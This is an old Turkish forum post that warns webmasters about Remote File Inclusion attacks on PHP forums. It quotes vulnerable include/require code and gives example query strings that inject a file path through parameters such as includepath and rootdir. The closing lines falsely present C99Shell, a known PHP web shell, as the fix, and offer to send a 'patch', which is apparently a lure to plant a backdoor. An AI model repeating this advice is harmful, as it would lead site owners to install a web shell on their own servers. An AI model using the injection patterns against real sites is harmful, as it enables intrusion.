Son zamanlarda artan Rfi saldırıları

20-07-2006, 21:23:01

Üyeliği durduruldu

Merhaba arkadaşlar.
Son zamanlarda lamerlerin favori saldırı biçimi olarak kullandıkları ve bir çok webmaster arkadaşımızın maruz kaldığı özellikle vbulletin forum sahibi arkadaşların bilgilenmesi ve öğrenmesinin yararına olacağını düşünüyorum.
Neyse fazla uzatmadan konuya girelim.

Rfi yani Remote file include.Php formlarda ki includes/db.php olayıdır.
Saldırıda bulunan arkadaşların belirli formlarda(php) arayacağı açıklar'a değinmek gerekirse,

<?php 

define('FOING_INSTALLED', true); 

$phpbb_root_path = '../'; 
$foing_prefix = $table_prefix;

?>

Bu açığın kullanımı konusunda ki asıl sorun şuarada.

1.Olarak

www.r10.net/index.php?php_root_path=r10

if(isset($includepath)){

include ("$includepath");

Yani "index.php?includepath=r10" üzerinden

2.Olarak araman kod,

1 <?php
2 $basepath=getcwd();
3 include($rootdir.'/lang.php');

"index.php?rootdir=R10" olarak giriliyor

3.olarak

require_once($config['root_dir'].

"index.php?root_dir=" olarak kullanılıyor

4.olarak

require_once("apa_authadm.inc.php");
else
require_once("apa_auth.inc.php");
....else{
require_once("$apa_module_basedir/apa_config.inc.php");

"index.php/apa_phpinclude.inc.php?apa_module_basedir=R10"

Yani açık oldukça basit ve red alert statustur : PpP

Açığı kapatmak için C99Shell yeterlidir.İsteyen arkadaşlara yama'yı gönderebilirim az kaldı bitmek üzere.

Kolay gelsin arkadaşlar.Bu zamanlarda dahada tikkatlı olalım